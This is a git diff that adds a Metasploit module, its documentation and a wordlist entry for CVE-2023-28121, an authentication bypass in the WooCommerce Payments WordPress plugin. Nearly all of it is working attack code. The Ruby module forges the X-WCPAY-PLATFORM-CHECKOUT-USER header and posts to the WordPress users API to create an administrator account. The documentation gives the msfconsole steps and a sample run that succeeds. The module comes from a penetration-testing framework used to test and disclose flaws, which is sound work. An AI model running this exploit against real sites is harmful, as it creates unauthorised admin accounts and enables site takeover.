diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index c0579d9da915..fc62e52e34fd 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -57,3 +57,4 @@ woocommerce-abandoned-cart elementor bookingpress paid-memberships-pro +woocommerce-payments diff --git a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md new file mode 100644 index 000000000000..0a06f82f2452 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md @@ -0,0 +1,66 @@ +## Vulnerable Application +WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1, +5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1, +5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number +within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API +to create a new user with administrative privileges on the target WordPress site IF the user ID +selected corresponds to an administrator account. + +### Install + +Download, install, and activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip) + +No configuration is required, and one does not need to install the main WooCommerce platform itself. + +## Verification Steps + +1. Install the plugin +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/wp_woocommerce_payments_add_user` +1. Do: `set username [username]` +1. Do: `set rhosts [ip]` +1. Do: `run` +1. A new WordPress administrator account should be created. +1. Verify the new account uses the username and password specified in the USERNAME and PASSWORD datastore options respectively. + +## Options + +### USERNAME + +The username to create. Default is `msfadmin`. + +### PASSWORD + +The password for the user. Default is to create a random one. + +### EMAIL + +The email address for the user. Default is to create a random one. + +### ADMINID + +The user ID number for a WordPress administrator. Defaults to `1`. + +## Scenarios + +### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2 + +``` +msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die +username => h00die +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true +verbose => true +msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit +[*] Running module against 1.1.1.1 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/woocommerce-payments/readme.txt +[*] Found version 5.6.1 in the plugin +[+] The target appears to be vulnerable. +[*] Attempting to create an administrator user -> h00die:lWqD3BOer3AFZ (willie.miller@iwuxphff.qiawqio9t.gov) +[+] User was created successfully +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb new file mode 100644 index 000000000000..4584dffdef13 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation', + 'Description' => %q{ + WooCommerce-Payments plugin for Wordpress versions 4.8', '4.8.2, 4.9', '4.9.1, + 5.0', '5.0.4, 5.1', '5.1.3, 5.2', '5.2.2, 5.3', '5.3.1, 5.4', '5.4.1, + 5.5', '5.5.2, and 5.6', '5.6.2 contain an authentication bypass by specifying a valid user ID number + within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API + to create a new user with administrative privileges on the target WordPress site IF the user ID + selected corresponds to an administrator account. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Michael Mazzolini', # original discovery + 'Julien Ahrens' # detailed writeup + ], + 'References' => [ + ['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'], + ['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'], + ['CVE', '2023-28121'] + ], + 'DisclosureDate' => '2023-03-22', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [true, 'User to create', '']), + OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']), + OptString.new('EMAIL', [false, 'Email to create, random if blank', '']), + OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]), + OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/']) + ] + ) + end + + def check + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + vuln_versions = [ + ['4.8', '4.8.2'], + ['4.9', '4.9.1'], + ['5.0', '5.0.4'], + ['5.1', '5.1.3'], + ['5.2', '5.2.2'], + ['5.3', '5.3.1'], + ['5.4', '5.4.1'], + ['5.5', '5.5.2'], + ['5.6', '5.6.2'] + ] + + vuln_versions.each do |versions| + introduced = versions[0] + fixed = versions[1] + checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced) + if checkcode == Exploit::CheckCode::Appears + return Msf::Exploit::CheckCode::Appears('WooCommerce-Payments version is exploitable') + end + end + + Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable or plugin not installed') + end + + def run + password = datastore['PASSWORD'] + if datastore['PASSWORD'].blank? + password = Rex::Text.rand_text_alphanumeric(10..15) + end + + email = datastore['EMAIL'] + if datastore['EMAIL'].blank? + email = Rex::Text.rand_mail_address + end + + username = datastore['USERNAME'] + if datastore['USERNAME'].blank? + username = Rex::Text.rand_text_alphanumeric(5..20) + end + + print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})") + ['/', 'index.php', '/rest'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites + if url_root == '/rest' + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, + 'method' => 'POST', + 'ctype' => 'application/json', + 'vars_get' => { 'rest_route' => 'wp-json/wp/v2/users' }, + 'data' => { + 'username' => username, + 'email' => email, + 'password' => password, + 'roles' => ['administrator'] + }.to_json + }) + else + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), + 'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => { + 'username' => username, + 'email' => email, + 'password' => password, + 'roles' => ['administrator'] + }.to_json + }) + end + fail_with(Failure::Unreachable, 'Connection failed') unless res + next if res.code == 404 + + if res.code == 201 && res.body&.match(/"email":"#{email}"/) && res.body&.match(/"username":"#{username}"/) + print_good('User was created successfully') + if framework.db.active + create_credential_and_login({ + address: rhost, + port: rport, + protocol: 'tcp', + workspace_id: myworkspace_id, + origin_type: :service, + service_name: 'WordPress', + username: username, + private_type: :password, + private_data: password, + module_fullname: fullname, + access_level: 'administrator', + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }) + end + else + print_error("Server response: #{res.body}") + end + break # we didn't get a 404 so we can bail on the 2nd attempt + end + end +end